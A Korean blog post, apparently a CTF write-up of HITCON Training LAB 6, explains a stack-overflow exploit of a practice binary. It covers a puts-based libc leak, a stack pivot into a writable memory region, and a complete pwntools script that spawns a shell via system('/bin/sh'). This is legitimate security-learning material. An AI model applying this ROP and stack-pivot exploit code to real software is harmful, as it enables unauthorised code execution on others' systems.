블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 6
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 6

728x90

 

1. 문제


1) mitigation 확인 

Full RELRO가 걸려있다. No PIE이지만 got overwrite는 불가능하다 

 

 

 

2) 문제 확인 

최선을 다하라고 한다. 

 

 

 

3) 코드흐름 파악 

read함수가 보인다. ret를 덮을 수 있다. 그리고 자세히 보면 count가 1337인지 아닌지 검사하는 로직이 있다. 분석 결과 처음 count값은 1337인데 7라인에서 +1이 된다. 만약 ret를 조정하여 다시 main 시작으로 돌아오게되면 count값이 1337이 아닌 1338으로 변경되었기 때문에 exit() 가 호출되면서 종료된다. 

 

 

 

 

 

2. 접근방법


우선 puts함수가 있기 때문에 pust의 주소를 얻어낼수 있고, 이를 통해 libc_base, system, binsh 주소를 알수 있다. 이 주소를 알았다면 binsh를 인자로하여 바로 system함수를 호출하면 끝이다 

 

libc leak을 하고, ret을 main 프롤로그로 돌리면 count가 1339가 아니기 때문에 exit이 호출된다. 그래서 read함수의 인자를 설정하는 부분으로 돌려야한다. 

 

하지만 read함수는 ebp-0x28 위치에 입력한 데이터를 저장한다. 따라서 처음 leak할때 ebp 부분을 더미값으로 주면 안돼고, read, write 가 가능한 위치로 밖아놔야 한다. 현재 FUll Relo이기 때문에 적당한 부분을 찾아보자. 

 

  • readelf -S migration

해당 명령어로 섹션들을 확인해보았다. ebp로 쓸만한 공간이... bss 영역은 사이즈가 8바이트밖에 안됀다. 그냥 vmmap으로 대충 확인해보자 

 

음.. 0x804a000 부터 0x804b000 까지는 rw권한이 있으므로 중간 정도 주소를 ebp로 세팅해서 조져보쟈. 0x804a65c 정도가 좋을거 같다. (read함수는 ebp-0x28에 저장하므로 저 주소 + 0x28을 ebp위치에 넣었다) 

 

leak할때 ebp에 0x804a65c+0x28 주고 했을때 leak은 잘됐고, systeam함수로 ROP걸어서 들어온 상태이다. esp를 보면 0x804a68c 인데, 이는 rw, 권한이 있는 영역이므로 정상적으로 쉘이 떨어질 것이다  

 

 

 

 

 

3. 풀이


최종 익스코드는 다음과 같다 

from pwn import *
context(arch="i386", os="linux",log_level="DEBUG")
p=process("./migration")
gdb.attach(p,'code\nb *0x503+$code\n')

payload="A"*0x28+p32(0x804a65c+0x28)+p32(0x8048390)+p32(0x0804836d)+p32(0x8049ff0)+p32(0x080484F2)

p.recvuntil("best :\n")
p.sendline(payload)
puts_adr=u32(p.recv(4))
log.info(hex(puts_adr))

libc_base=puts_adr-0x05fca0
system_adr=libc_base+0x03ada0
binsh=libc_base+0x15ba0b
stdout=libc_base+0x001b2d60
leav_ret=0x08048418
log.info(hex(libc_base))
payload2="sh\x00\x00"+"A"*40+p32(system_adr)+"A"*4+p32(binsh)
#payload3="A"*40+p32(0x0804A030)+p32(system_adr)+"A"*4+p32(0x804a65c)
#payload4=p32(0x080484F2)+"A"*36+p32(0x804a05c-4)+p32(leav_ret)
p.send(payload2)

p.send(payload2)
p.interactive()

 

 

 

 

4. 몰랐던 개념


  • stack pivot 문제인거 같긴했지만, 권한 때문에 삽질을 꽤 했다.
  • 흠 아직 stack pivot 관련한 기술이 습득이 잘 안된거 같다는..
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 8  (0) 2020.04.15
[Hicon training] LAB 7  (0) 2020.04.15
[Hicon training] LAB 5  (0) 2020.04.14
[Hicon training] LAB 4  (0) 2020.04.13
[Hicon training] LAB 3  (0) 2020.04.13